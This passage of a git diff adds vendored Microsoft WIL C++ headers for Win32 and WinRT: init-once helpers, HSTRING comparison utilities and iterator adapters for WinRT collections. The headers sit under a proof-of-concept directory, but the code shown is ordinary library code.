'callerComplete' value is + //! returned to the caller instead of being an out-parameter. + template bool init_once_failfast(_Inout_ INIT_ONCE& initOnce, T&& func) WI_NOEXCEPT + { + bool callerCompleted; + + FAIL_FAST_IF_FAILED(init_once_nothrow(initOnce, wistd::forward(func), &callerCompleted)); + + return callerCompleted; + }; + + //! Returns 'true' if this `init_once` structure has finished initialization, false otherwise. + inline bool init_once_initialized(_Inout_ INIT_ONCE& initOnce) WI_NOEXCEPT + { + BOOL pending = FALSE; + return ::InitOnceBeginInitialize(&initOnce, INIT_ONCE_CHECK_ONLY, &pending, nullptr) && !pending; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + /** Performs one-time initialization + Simplifies using the Win32 INIT_ONCE structure to perform one-time initialization. The provided `func` is invoked + at most once. + ~~~~ + INIT_ONCE g_init{}; + ComPtr g_foo; + void MyMethod() + { + bool winner = wil::init_once(g_init, [] + { + ComPtr foo; + THROW_IF_FAILED(::CoCreateInstance(..., IID_PPV_ARGS(&foo)); + THROW_IF_FAILED(foo->Startup()); + g_foo = foo; + }); + if (winner) + { + THROW_IF_FAILED(g_foo->Another()); + } + } + ~~~~ + See MSDN for more information on `InitOnceExecuteOnce`. + @param initOnce The INIT_ONCE structure to use as context for initialization. + @param func A function that will be invoked to perform initialization. If this fails, the init call + fails and the once-init is not marked as initialized. A later caller could attempt to + initialize it a second time. + @returns 'true' if this was the call that caused initialization, false otherwise. + */ + template bool init_once(_Inout_ INIT_ONCE& initOnce, T func) + { + BOOL pending = FALSE; + + THROW_IF_WIN32_BOOL_FALSE(::InitOnceBeginInitialize(&initOnce, 0, &pending, nullptr)); + + if (pending) + { + details::init_once_completer completion(initOnce); + func(); + completion.success(); + return true; + } + else + { + return false; + } + } +#endif // WIL_ENABLE_EXCEPTIONS +} + +// Macro for calling GetProcAddress(), with type safety for C++ clients +// using the type information from the specified function. +// The return value is automatically cast to match the function prototype of the input function. +// +// Sample usage: +// +// auto sendMail = GetProcAddressByFunctionDeclaration(hinstMAPI, MAPISendMailW); +// if (sendMail) +// { +// sendMail(0, 0, pmm, MAPI_USE_DEFAULT, 0); +// } +// Declaration +#define GetProcAddressByFunctionDeclaration(hinst, fn) reinterpret_cast(GetProcAddress(hinst, #fn)) + +#endif // __WIL_WIN32_HELPERS_INCLUDED diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/winrt.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/winrt.h new file mode 100644 index 00000000..be2dff80 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/winrt.h @@ -0,0 +1,2241 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* +#ifndef __WIL_WINRT_INCLUDED +#define __WIL_WINRT_INCLUDED + +#include +#include +#include +#include +#include +#include "result.h" +#include "com.h" +#include "resource.h" +#include + +#ifdef __cplusplus_winrt +#include // bring in the CRT iterator for support for C++ CX code +#endif + +/// @cond +#if defined(WIL_ENABLE_EXCEPTIONS) && !defined(__WI_HAS_STD_LESS) +#ifdef __has_include +#if __has_include() +#define __WI_HAS_STD_LESS 1 +#include +#endif // Otherwise, not using STL; don't specialize std::less +#else +// Fall back to the old way of forward declaring std::less +#define __WI_HAS_STD_LESS 1 +#pragma warning(push) +#pragma warning(disable:4643) // Forward declaring '...' in namespace std is not permitted by the C++ Standard. +namespace std +{ + template + struct less; +} +#pragma warning(pop) +#endif +#endif +/// @endcond + +// This enables this code to be used in code that uses the ABI prefix or not. +// Code using the public SDK and C++ CX code has the ABI prefix, windows internal +// is built in a way that does not. +#if !defined(MIDL_NS_PREFIX) && !defined(____x_ABI_CWindows_CFoundation_CIClosable_FWD_DEFINED__) +// Internal .idl files use the namespace without the ABI prefix. Macro out ABI for that case +#pragma push_macro("ABI") +#undef ABI +#define ABI +#endif + +namespace wil +{ +#ifdef _INC_TIME + // time_t is the number of 1 - second intervals since January 1, 1970. + long long const SecondsToStartOf1970 = 0x2b6109100; + long long const HundredNanoSecondsInSecond = 10000000LL; + + inline __time64_t DateTime_to_time_t(ABI::Windows::Foundation::DateTime dateTime) + { + // DateTime is the number of 100 - nanosecond intervals since January 1, 1601. + return (dateTime.UniversalTime / HundredNanoSecondsInSecond - SecondsToStartOf1970); + } + + inline ABI::Windows::Foundation::DateTime time_t_to_DateTime(__time64_t timeT) + { + ABI::Windows::Foundation::DateTime dateTime; + dateTime.UniversalTime = (timeT + SecondsToStartOf1970) * HundredNanoSecondsInSecond; + return dateTime; + } +#endif // _INC_TIME + +#pragma region HSTRING Helpers + /// @cond + namespace details + { + // hstring_compare is used to assist in HSTRING comparison of two potentially non-similar string types. E.g. + // comparing a raw HSTRING with WRL's HString/HStringReference/etc. The consumer can optionally inhibit the + // deduction of array sizes by providing 'true' for the 'InhibitStringArrays' template argument. This is + // generally done in scenarios where the consumer cannot guarantee that the input argument types are perfectly + // preserved from end-to-end. E.g. if a single function in the execution path captures an array as const T&, + // then it is impossible to differentiate const arrays (where we generally do want to deduce length) from + // non-const arrays (where we generally do not want to deduce length). The consumer can also optionally choose + // to perform case-insensitive comparison by providing 'true' for the 'IgnoreCase' template argument. + template + struct hstring_compare + { + // get_buffer returns the string buffer and length for the supported string types + static const wchar_t* get_buffer(HSTRING hstr, UINT32* length) WI_NOEXCEPT + { + return ::WindowsGetStringRawBuffer(hstr, length); + } + + static const wchar_t* get_buffer(const Microsoft::WRL::Wrappers::HString& hstr, UINT32* length) WI_NOEXCEPT + { + return hstr.GetRawBuffer(length); + } + + static const wchar_t* get_buffer( + const Microsoft::WRL::Wrappers::HStringReference& hstr, + UINT32* length) WI_NOEXCEPT + { + return hstr.GetRawBuffer(length); + } + + static const wchar_t* get_buffer(const unique_hstring& str, UINT32* length) WI_NOEXCEPT + { + return ::WindowsGetStringRawBuffer(str.get(), length); + } + + template + static wistd::enable_if_t get_buffer(const wchar_t* str, UINT32* length) WI_NOEXCEPT + { + str = (str != nullptr) ? str : L""; + *length = static_cast(wcslen(str)); + return str; + } + + template + static wistd::enable_if_t< + wistd::conjunction< + wistd::is_pointer, + wistd::is_same>, wchar_t>, + wistd::bool_constant + >::value, + const wchar_t*> get_buffer(StringT str, UINT32* length) WI_NOEXCEPT + { + str = (str != nullptr) ? str : L""; + *length = static_cast(wcslen(str)); + return str; + } + + template + static wistd::enable_if_t get_buffer( + const wchar_t (&str)[Size], + UINT32* length) WI_NOEXCEPT + { + *length = Size - 1; + return str; + } + + template + static wistd::enable_if_t get_buffer(wchar_t (&str)[Size], UINT32* length) WI_NOEXCEPT + { + *length = static_cast(wcslen(str)); + return str; + } + + // Overload for std::wstring, or at least things that behave like std::wstring, without adding a dependency + // on STL headers + template + static wistd::enable_if_t().c_str())>, + wistd::is_same().length())>>, + const wchar_t*> get_buffer(const StringT& str, UINT32* length) WI_NOEXCEPT + { + *length = static_cast(str.length()); + return str.c_str(); + } + + template + static auto compare(LhsT&& lhs, RhsT&& rhs) -> + decltype(get_buffer(lhs, wistd::declval()), get_buffer(rhs, wistd::declval()), int()) + { + UINT32 lhsLength; + UINT32 rhsLength; + auto lhsBuffer = get_buffer(wistd::forward(lhs), &lhsLength); + auto rhsBuffer = get_buffer(wistd::forward(rhs), &rhsLength); + + const auto result = ::CompareStringOrdinal( + lhsBuffer, + lhsLength, + rhsBuffer, + rhsLength, + IgnoreCase ? TRUE : FALSE); + WI_ASSERT(result != 0); + + return result; + } + + template + static auto equals(LhsT&& lhs, RhsT&& rhs) WI_NOEXCEPT -> + decltype(compare(wistd::forward(lhs), wistd::forward(rhs)), bool()) + { + return compare(wistd::forward(lhs), wistd::forward(rhs)) == CSTR_EQUAL; + } + + template + static auto not_equals(LhsT&& lhs, RhsT&& rhs) WI_NOEXCEPT -> + decltype(compare(wistd::forward(lhs), wistd::forward(rhs)), bool()) + { + return compare(wistd::forward(lhs), wistd::forward(rhs)) != CSTR_EQUAL; + } + + template + static auto less(LhsT&& lhs, RhsT&& rhs) WI_NOEXCEPT -> + decltype(compare(wistd::forward(lhs), wistd::forward(rhs)), bool()) + { + return compare(wistd::forward(lhs), wistd::forward(rhs)) == CSTR_LESS_THAN; + } + + template + static auto less_equals(LhsT&& lhs, RhsT&& rhs) WI_NOEXCEPT -> + decltype(compare(wistd::forward(lhs), wistd::forward(rhs)), bool()) + { + return compare(wistd::forward(lhs), wistd::forward(rhs)) != CSTR_GREATER_THAN; + } + + template + static auto greater(LhsT&& lhs, RhsT&& rhs) WI_NOEXCEPT -> + decltype(compare(wistd::forward(lhs), wistd::forward(rhs)), bool()) + { + return compare(wistd::forward(lhs), wistd::forward(rhs)) == CSTR_GREATER_THAN; + } + + template + static auto greater_equals(LhsT&& lhs, RhsT&& rhs) WI_NOEXCEPT -> + decltype(compare(wistd::forward(lhs), wistd::forward(rhs)), bool()) + { + return compare(wistd::forward(lhs), wistd::forward(rhs)) != CSTR_LESS_THAN; + } + }; + } + /// @endcond + + //! Detects if one or more embedded null is present in an HSTRING. + inline bool HasEmbeddedNull(_In_opt_ HSTRING value) + { + BOOL hasEmbeddedNull; + WindowsStringHasEmbeddedNull(value, &hasEmbeddedNull); + return hasEmbeddedNull != FALSE; + } + + /** TwoPhaseHStringConstructor help using the 2 phase constructor pattern for HSTRINGs. + ~~~ + auto stringConstructor = wil::TwoPhaseHStringConstructor::Preallocate(size); + RETURN_IF_NULL_ALLOC(stringConstructor.Get()); + + RETURN_IF_FAILED(stream->Read(stringConstructor.Get(), stringConstructor.ByteSize(), &bytesRead)); + + // Validate stream contents, sizes must match, string must be null terminated. + RETURN_IF_FAILED(stringConstructor.Validate(bytesRead)); + + wil::unique_hstring string { stringConstructor.Promote() }; + ~~~ + + See also wil::unique_hstring_buffer. + */ + struct TwoPhaseHStringConstructor + { + TwoPhaseHStringConstructor() = delete; + TwoPhaseHStringConstructor(const TwoPhaseHStringConstructor&) = delete; + void operator=(const TwoPhaseHStringConstructor&) = delete; + + TwoPhaseHStringConstructor(TwoPhaseHStringConstructor&& other) WI_NOEXCEPT + { + m_characterLength = other.m_characterLength; + other.m_characterLength = 0; + m_maker = wistd::move(other.m_maker); + } + + static TwoPhaseHStringConstructor Preallocate(UINT32 characterLength) + { + return TwoPhaseHStringConstructor{ characterLength }; + } + + //! Returns the HSTRING after it has been populated like Detatch() or release(); be sure to put this in a RAII type to manage its lifetime. + HSTRING Promote() + { + m_characterLength = 0; + return m_maker.release().release(); + } + + ~TwoPhaseHStringConstructor() = default; + + explicit operator PCWSTR() const + { + // This is set by WindowsPromoteStringBuffer() which must be called to + // construct this object via the static method Preallocate(). + return m_maker.buffer(); + } + + //! Returns a pointer for the buffer so it can be populated + wchar_t* Get() const { return const_cast(m_maker.buffer()); } + //! Used to validate range of buffer when populating. + ULONG ByteSize() const { return m_characterLength * sizeof(wchar_t); } + + /** Ensure that the size of the data provided is consistent with the pre-allocated buffer. + It seems that WindowsPreallocateStringBuffer() provides the null terminator in the buffer + (based on testing) so this can be called before populating the buffer. + */ + HRESULT Validate(ULONG bytesRead) const + { + // Null termination is required for the buffer before calling WindowsPromoteStringBuffer(). + RETURN_HR_IF(HRESULT_FROM_WIN32(ERROR_INVALID_DATA), + (bytesRead != ByteSize()) || + (Get()[m_characterLength] != L'\0')); + return S_OK; + } + + private: + TwoPhaseHStringConstructor(UINT32 characterLength) : m_characterLength(characterLength) + { + (void)m_maker.make(nullptr, characterLength); + } + + UINT32 m_characterLength; + details::string_maker m_maker; + }; + + //! A transparent less-than comparison function object that enables comparison of various string types intended for + //! use with associative containers (such as `std::set`, `std::map`, etc.) that use + //! `Microsoft::WRL::Wrappers::HString` as the key type. This removes the need for the consumer to explicitly + //! create an `HString` object when using lookup functions such as `find`, `lower_bound`, etc. For example, the + //! following scenarios would all work exactly as you would expect them to: + //! ~~~ + //! std::map map; + //! const wchar_t constArray[] = L"foo"; + //! wchar_t nonConstArray[MAX_PATH] = L"foo"; + //! + //! HString key; + //! THROW_IF_FAILED(key.Set(constArray)); + //! map.emplace(std::move(key), 42); + //! + //! HString str; + //! wil::unique_hstring uniqueStr; + //! THROW_IF_FAILED(str.Set(L"foo")); + //! THROW_IF_FAILED(str.CopyTo(&uniqueStr)); + //! + //! // All of the following return an iterator to the pair { L"foo", 42 } + //! map.find(str); + //! map.find(str.Get()); + //! map.find(HStringReference(constArray)); + //! map.find(uniqueStr); + //! map.find(std::wstring(constArray)); + //! map.find(constArray); + //! map.find(nonConstArray); + //! map.find(static_cast(constArray)); + //! ~~~ + //! The first four calls in the example above use `WindowsGetStringRawBuffer` (or equivalent) to get the string + //! buffer and length for the comparison. The fifth example uses `std::wstring::c_str` and `std::wstring::length` + //! for getting these two values. The remaining three examples use only the string buffer and call `wcslen` for the + //! length. That is, the length is *not* deduced for either array. This is because argument types are not always + //! perfectly preserved by container functions and in fact are often captured as const references making it + //! impossible to differentiate const arrays - where we can safely deduce length - from non const arrays - where we + //! cannot safely deduce length since the buffer may be larger than actually needed (e.g. creating a + //! `char[MAX_PATH]` array, but only filling it with 10 characters). The implications of this behavior is that + //! string literals that contain embedded null characters will only include the part of the buffer up to the first + //! null character. For example, the following example will result in all calls to `find` returning an end + //! iterator. + //! ~~~ + //! std::map map; + //! const wchar_t constArray[] = L"foo\0bar"; + //! wchar_t nonConstArray[MAX_PATH] = L"foo\0bar"; + //! + //! // Create the key with the embedded null character + //! HString key; + //! THROW_IF_FAILED(key.Set(constArray)); + //! map.emplace(std::move(key), 42); + //! + //! // All of the following return map.end() since they look for the string "foo" + //! map.find(constArray); + //! map.find(nonConstArray); + //! map.find(static_cast(constArray)); + //! ~~~ + //! In order to search using a string literal that contains embedded null characters, a simple alternative is to + //! first create an `HStringReference` and use that for the function call: + //! ~~~ + //! // HStringReference's constructor *will* deduce the length of const arrays + //! map.find(HStringReference(constArray)); + //! ~~~ + struct hstring_less + { + using is_transparent = void; + + template + auto operator()(const LhsT& lhs, const RhsT& rhs) const WI_NOEXCEPT -> + decltype(details::hstring_compare::less(lhs, rhs)) + { + return details::hstring_compare::less(lhs, rhs); + } + }; + + //! A transparent less-than comparison function object whose behavior is equivalent to that of @ref hstring_less + //! with the one difference that comparisons are case-insensitive. That is, the following example will correctly + //! find the inserted value: + //! ~~~ + //! std::map map; + //! + //! HString key; + //! THROW_IF_FAILED(key.Set(L"foo")); + //! map.emplace(std::move(key), 42); + //! + //! // All of the following return an iterator to the pair { L"foo", 42 } + //! map.find(L"FOo"); + //! map.find(HStringReference(L"fOo")); + //! map.find(HStringReference(L"fOO").Get()); + //! ~~~ + struct hstring_insensitive_less + { + using is_transparent = void; + + template + auto operator()(const LhsT& lhs, const RhsT& rhs) const WI_NOEXCEPT -> + decltype(details::hstring_compare::less(lhs, rhs)) + { + return details::hstring_compare::less(lhs, rhs); + } + }; + +#pragma endregion + + /// @cond + namespace details + { + // MapToSmartType::type is used to map a raw type into an RAII expression + // of it. This is needed when lifetime management of the type is needed, for example + // when holding them as a value produced in an iterator. + // This type has a common set of methods used to abstract the access to the value + // that is similar to ComPtr<> and the WRL Wrappers: Get(), GetAddressOf() and other operators. + // Clients of the smart type must use those to access the value. + + // TODO: Having the base definition defined will result in creating leaks if a type + // that needs resource management (e.g. PROPVARIANT) that has not specialized is used. + // + // One fix is to use std::is_enum to cover that case and leave the base definition undefined. + // That base should use static_assert to inform clients how to fix the lack of specialization. + template struct MapToSmartType + { + #pragma warning(push) + #pragma warning(disable:4702) // https://github.com/Microsoft/wil/issues/2 + struct type // T holder + { + type() {}; + type(T&& value) : m_value(wistd::forward(value)) {}; + operator T() const { return m_value; } + type& operator=(T&& value) { m_value = wistd::forward(value); return *this; } + T Get() const { return m_value; } + + // Returning T&& to support move only types + // In case of absense of T::operator=(T&&) a call to T::operator=(const T&) will happen + T&& Get() { return wistd::move(m_value); } + + HRESULT CopyTo(T* result) const { *result = m_value; return S_OK; } + T* GetAddressOf() { return &m_value; } + T* ReleaseAndGetAddressOf() { return &m_value; } + T* operator&() { return &m_value; } + T m_value{}; + }; + #pragma warning(pop) + }; + + // IUnknown * derived -> Microsoft::WRL::ComPtr<> + template + struct MapToSmartType::type>::value>::type> + { + typedef Microsoft::WRL::ComPtr::type> type; + }; + + // HSTRING -> Microsoft::WRL::Wrappers::HString + template <> struct MapToSmartType + { + class HStringWithRelease : public Microsoft::WRL::Wrappers::HString + { + public: + // Unlike all other WRL types HString does not have ReleaseAndGetAddressOf and + // GetAddressOf() has non-standard behavior, calling Release(). + HSTRING* ReleaseAndGetAddressOf() WI_NOEXCEPT + { + Release(); + return &hstr_; + } + }; + typedef HStringWithRelease type; + }; + + // WinRT interfaces like IVector<>, IAsyncOperation<> and IIterable<> can be templated + // on a runtime class (instead of an interface or primitive type). In these cases the objects + // produced by those interfaces implement an interface defined by the runtime class default interface. + // + // These templates deduce the type of the produced interface or pass through + // the type unmodified in the non runtime class case. + // + // for example: + // IAsyncOperation -> IAsyncOperation + + // For IVector, IVectorView. + template struct MapVectorResultType + { + template + static TResult PeekGetAtType(HRESULT(STDMETHODCALLTYPE TVector::*)(unsigned, TResult*)); + typedef decltype(PeekGetAtType(&VectorType::GetAt)) type; + }; + + // For IIterator. + template struct MapIteratorResultType + { + template + static TResult PeekCurrentType(HRESULT(STDMETHODCALLTYPE TIterable::*)(TResult*)); + typedef decltype(PeekCurrentType(&ABI::Windows::Foundation::Collections::IIterator::get_Current)) type; + }; + + // For IAsyncOperation. + template struct MapAsyncOpResultType + { + template + static TResult PeekGetResultsType(HRESULT(STDMETHODCALLTYPE TAsyncOperation::*)(TResult*)); + typedef decltype(PeekGetResultsType(&ABI::Windows::Foundation::IAsyncOperation::GetResults)) type; + }; + + // For IAsyncOperationWithProgress. + template struct MapAsyncOpProgressResultType + { + template + static TResult PeekGetResultsType(HRESULT(STDMETHODCALLTYPE TAsyncOperation::*)(TResult*)); + typedef decltype(PeekGetResultsType(&ABI::Windows::Foundation::IAsyncOperationWithProgress::GetResults)) type; + }; + + // No support for IAsyncActionWithProgress

none of these (currently) use + // a runtime class for the progress type. + } + /// @endcond +#pragma region C++ iterators for WinRT collections for use with range based for and STL algorithms + + /** Range base for and STL algorithms support for WinRT ABI collection types, IVector, IVectorView, IIterable + similar to support provided by for C++ CX. Three error handling policies are supported. + ~~~ + ComPtr collection = GetCollection(); // can be IVector, IVectorView or IIterable + + for (auto const& element : wil::get_range(collection.Get())) // exceptions + for (auto const& element : wil::get_range_nothrow(collection.Get(), &hr)) // error code + for (auto const& element : wil::get_range_failfast(collection.Get())) // fail fast + { + // use element + } + ~~~ + Standard algorithm example: + ~~~ + ComPtr> files = GetFiles(); + auto fileRange = wil::get_range_nothrow(files.Get()); + auto itFound = std::find_if(fileRange.begin(), fileRange.end(), [](ComPtr file) -> bool + { + return true; // first element in range + }); + ~~~ + */ +#pragma region exception and fail fast based IVector<>/IVectorView<> + + template + class vector_range + { + public: + typedef typename details::MapVectorResultType::type TResult; + typedef typename details::MapToSmartType::type TSmart; + + vector_range() = delete; + + explicit vector_range(_In_ VectorType *vector) : m_v(vector) + { + } + + class vector_iterator + { + public: +#ifdef _XUTILITY_ + // could be random_access_iterator_tag but missing some features + typedef ::std::bidirectional_iterator_tag iterator_category; +#endif + typedef TSmart value_type; + typedef ptrdiff_t difference_type; + typedef const TSmart* pointer; + typedef const TSmart& reference; + + // for begin() + vector_iterator(VectorType* v, unsigned int pos) + : m_v(v), m_i(pos) + { + } + + // for end() + vector_iterator() : m_v(nullptr), m_i(-1) {} + + vector_iterator(const vector_iterator& other) + { + m_v = other.m_v; + m_i = other.m_i; + err_policy::HResult(other.m_element.CopyTo(m_element.GetAddressOf())); + } + + vector_iterator& operator=(const vector_iterator& other) + { + if (this != wistd::addressof(other)) + { + m_v = other.m_v; + m_i = other.m_i; + err_policy::HResult(other.m_element.CopyTo(m_element.ReleaseAndGetAddressOf())); + } + return *this; + } + + reference operator*() + { + err_policy::HResult(m_v->GetAt(m_i, m_element.ReleaseAndGetAddressOf())); + return m_element; + } + + pointer operator->() + { + err_policy::HResult(m_v->GetAt(m_i, m_element.ReleaseAndGetAddressOf())); + return wistd::addressof(m_element); + } + + vector_iterator& operator++() + { + ++m_i; + return *this; + } + + vector_iterator& operator--() + { + --m_i; + return *this; + } + + vector_iterator operator++(int) + { + vector_iterator old(*this); + ++*this; + return old; + } + + vector_iterator operator--(int) + { + vector_iterator old(*this); + --*this; + return old; + } + + vector_iterator& operator+=(int n) + { + m_i += n; + return *this; + } + + vector_iterator& operator-=(int n) + { + m_i -= n; + return *this; + } + + vector_iterator operator+(int n) const + { + vector_iterator ret(*this); + ret += n; + return ret; + } + + vector_iterator operator-(int n) const + { + vector_iterator ret(*this); + ret -= n; + return ret; + } + + ptrdiff_t operator-(const vector_iterator& other) const + { + return m_i - other.m_i; + } + + bool operator==(const vector_iterator& other) const + { + return m_i == other.m_i; + } + + bool operator!=(const vector_iterator& other) const + { + return m_i != other.m_i; + } + + bool operator<(const vector_iterator& other) const + { + return m_i < other.m_i; + } + + bool operator>(const vector_iterator& other) const + { + return m_i > other.m_i; + } + + bool operator<=(const vector_iterator& other) const + { + return m_i <= other.m_i; + } + + bool operator>=(const vector_iterator& other) const + { + return m_i >= other.m_i; + } + + private: + VectorType* m_v; // weak, collection must outlive iterators. + unsigned int m_i; + TSmart m_element; + }; + + vector_iterator begin() + { + return vector_iterator(m_v, 0); + } + + vector_iterator end() + { + unsigned int size; + err_policy::HResult(m_v->get_Size(&size)); + return vector_iterator(m_v, size); + } + private: + VectorType* m_v; // weak, collection must outlive iterators. + }; +#pragma endregion + +#pragma region error code based IVector<>/IVectorView<> + + template + class vector_range_nothrow + { + public: + typedef typename details::MapVectorResultType::type TResult; + typedef typename details::MapToSmartType::type TSmart; + + vector_range_nothrow() = delete; + vector_range_nothrow(const vector_range_nothrow&) = delete; + vector_range_nothrow& operator=(const vector_range_nothrow&) = delete; + + vector_range_nothrow(vector_range_nothrow&& other) : + m_v(other.m_v), m_size(other.m_size), m_result(other.m_result), m_resultStorage(other.m_resultStorage), + m_currentElement(wistd::move(other.m_currentElement)) + { + } + + vector_range_nothrow(_In_ VectorType *vector, HRESULT* result = nullptr) + : m_v(vector), m_result(result ? result : &m_resultStorage) + { + *m_result = m_v->get_Size(&m_size); + } + + class vector_iterator_nothrow + { + public: +#ifdef _XUTILITY_ + // must be input_iterator_tag as use (via ++, --, etc.) of one invalidates the other. + typedef ::std::input_iterator_tag iterator_category; +#endif + typedef TSmart value_type; + typedef ptrdiff_t difference_type; + typedef const TSmart* pointer; + typedef const TSmart& reference; + + vector_iterator_nothrow() = delete; + vector_iterator_nothrow(vector_range_nothrow* range, unsigned int pos) + : m_range(range), m_i(pos) + { + } + + reference operator*() const + { + return m_range->m_currentElement; + } + + pointer operator->() const + { + return wistd::addressof(m_range->m_currentElement); + } + + vector_iterator_nothrow& operator++() + { + ++m_i; + m_range->get_at_current(m_i); + return *this; + } + + vector_iterator_nothrow& operator--() + { + --m_i; + m_range->get_at_current(m_i); + return *this; + } + + vector_iterator_nothrow operator++(int) + { + vector_iterator_nothrow old(*this); + ++*this; + return old; + } + + vector_iterator_nothrow operator--(int) + { + vector_iterator_nothrow old(*this); + --*this; + return old; + } + + vector_iterator_nothrow& operator+=(int n) + { + m_i += n; + m_range->get_at_current(m_i); + return *this; + } + + vector_iterator_nothrow& operator-=(int n) + { + m_i -= n; + m_range->get_at_current(m_i); + return *this; + } + + bool operator==(vector_iterator_nothrow const& other) const + { + return FAILED(*m_range->m_result) || (m_i == other.m_i); + } + + bool operator!=(vector_iterator_nothrow const& other) const + { + return !operator==(other); + } + + private: + vector_range_nothrow* m_range; + unsigned int m_i = 0; + }; + + vector_iterator_nothrow begin() + { + get_at_current(0); + return vector_iterator_nothrow(this, 0); + } + + vector_iterator_nothrow end() + { + return vector_iterator_nothrow(this, m_size); + } + + // Note, the error code is observed in operator!= and operator==, it always + // returns "equal" in the failed state to force the compare to the end + // iterator to return false and stop the loop. + // + // Is this ok for the general case? + void get_at_current(unsigned int i) + { + if (SUCCEEDED(*m_result) && (i < m_size)) + { + *m_result = m_v->GetAt(i, m_currentElement.ReleaseAndGetAddressOf()); + } + } + + private: + VectorType* m_v; // weak, collection must outlive iterators. + unsigned int m_size; + + // This state is shared by vector_iterator_nothrow instances. this means + // use of one iterator invalidates the other. + HRESULT* m_result; + HRESULT m_resultStorage = S_OK; // for the case where the caller does not provide the location to store the result + TSmart m_currentElement; + }; + +#pragma endregion + +#pragma region exception and fail fast based IIterable<> + + template + class iterable_range + { + public: + typedef typename details::MapIteratorResultType::type TResult; + typedef typename details::MapToSmartType::type TSmart; + + explicit iterable_range(_In_ ABI::Windows::Foundation::Collections::IIterable* iterable) + : m_iterable(iterable) + { + } + + class iterable_iterator + { + public: +#ifdef _XUTILITY_ + typedef ::std::forward_iterator_tag iterator_category; +#endif + typedef TSmart value_type; + typedef ptrdiff_t difference_type; + typedef const TSmart* pointer; + typedef const TSmart& reference; + + iterable_iterator() : m_i(-1) {} + + // for begin() + explicit iterable_iterator(_In_ ABI::Windows::Foundation::Collections::IIterable* iterable) + { + err_policy::HResult(iterable->First(&m_iterator)); + boolean hasCurrent; + err_policy::HResult(m_iterator->get_HasCurrent(&hasCurrent)); + m_i = hasCurrent ? 0 : -1; + } + + // for end() + iterable_iterator(int /*currentIndex*/) : m_i(-1) + { + } + + iterable_iterator(const iterable_iterator& other) + { + m_iterator = other.m_iterator; + m_i = other.m_i; + err_policy::HResult(other.m_element.CopyTo(m_element.GetAddressOf())); + } + + iterable_iterator& operator=(const iterable_iterator& other) + { + m_iterator = other.m_iterator; + m_i = other.m_i; + err_policy::HResult(other.m_element.CopyTo(m_element.ReleaseAndGetAddressOf())); + return *this; + } + + bool operator==(iterable_iterator const& other) const + { + return m_i == other.m_i; + } + + bool operator!=(iterable_iterator const& other) const + { + return !operator==(other); + } + + reference operator*() + { + err_policy::HResult(m_iterator->get_Current(m_element.ReleaseAndGetAddressOf())); + return m_element; + } + + pointer operator->() + { + err_policy::HResult(m_iterator->get_Current(m_element.ReleaseAndGetAddressOf())); + return wistd::addressof(m_element); + } + + iterable_iterator& operator++() + { + boolean hasCurrent; + err_policy::HResult(m_iterator->MoveNext(&hasCurrent)); + if (hasCurrent) + { + m_i++; + } + else + { + m_i = -1; + } + return *this; + } + + iterable_iterator operator++(int) + { + iterable_iterator old(*this); + ++*this; + return old; + } + + private: + Microsoft::WRL::ComPtr> m_iterator; + int m_i; + TSmart m_element; + }; + + iterable_iterator begin() + { + return iterable_iterator(m_iterable); + } + + iterable_iterator end() + { + return iterable_iterator(); + } + private: + // weak, collection must outlive iterators. + ABI::Windows::Foundation::Collections::IIterable* m_iterable; + }; +#pragma endregion + +#pragma region error code base IIterable<> + template + class iterable_range_nothrow + { + public: + typedef typename details::MapIteratorResultType::type TResult; + typedef typename details::MapToSmartType::type TSmart; + + iterable_range_nothrow() = delete; + iterable_range_nothrow(const iterable_range_nothrow&) = delete; + iterable_range_nothrow& operator=(const iterable_range_nothrow&) = delete; + iterable_range_nothrow& operator=(iterable_range_nothrow &&) = delete; + + iterable_range_nothrow(iterable_range_nothrow&& other) : + m_iterator(wistd::move(other.m_iterator)), m_element(wistd::move(other.m_element)), + m_resultStorage(other.m_resultStorage) + { + if (other.m_result == &other.m_resultStorage) + { + m_result = &m_resultStorage; + } + else + { + m_result = other.m_result; + } + } + + iterable_range_nothrow(_In_ ABI::Windows::Foundation::Collections::IIterable* iterable, HRESULT* result = nullptr) + : m_result(result ? result : &m_resultStorage) + { + *m_result = iterable->First(&m_iterator); + if (SUCCEEDED(*m_result)) + { + boolean hasCurrent; + *m_result = m_iterator->get_HasCurrent(&hasCurrent); + if (SUCCEEDED(*m_result) && hasCurrent) + { + *m_result = m_iterator->get_Current(m_element.ReleaseAndGetAddressOf()); + if (FAILED(*m_result)) + { + m_iterator = nullptr; // release the iterator if no elements are found + } + } + else + { + m_iterator = nullptr; // release the iterator if no elements are found + } + } + } + + class iterable_iterator_nothrow + { + public: +#ifdef _XUTILITY_ + // muse be input_iterator_tag as use of one instance invalidates the other. + typedef ::std::input_iterator_tag iterator_category; +#endif + typedef TSmart value_type; + typedef ptrdiff_t difference_type; + typedef const TSmart* pointer; + typedef const TSmart& reference; + + iterable_iterator_nothrow(_In_ iterable_range_nothrow* range, int currentIndex) : + m_range(range), m_i(currentIndex) + { + } + + bool operator==(iterable_iterator_nothrow const& other) const + { + return FAILED(*m_range->m_result) || (m_i == other.m_i); + } + + bool operator!=(iterable_iterator_nothrow const& other) const + { + return !operator==(other); + } + + reference operator*() const WI_NOEXCEPT + { + return m_range->m_element; + } + + pointer operator->() const WI_NOEXCEPT + { + return wistd::addressof(m_range->m_element); + } + + iterable_iterator_nothrow& operator++() + { + boolean hasCurrent; + *m_range->m_result = m_range->m_iterator->MoveNext(&hasCurrent); + if (SUCCEEDED(*m_range->m_result) && hasCurrent) + { + *m_range->m_result = m_range->m_iterator->get_Current(m_range->m_element.ReleaseAndGetAddressOf()); + if (SUCCEEDED(*m_range->m_result)) + { + m_i++; + } + else + { + m_i = -1; + } + } + else + { + m_i = -1; + } + return *this; + } + + iterable_range_nothrow operator++(int) + { + iterable_range_nothrow old(*this); + ++*this; + return old; + } + + private: + iterable_range_nothrow* m_range; + int m_i; + }; + + iterable_iterator_nothrow begin() + { + return iterable_iterator_nothrow(this, this->m_iterator ? 0 : 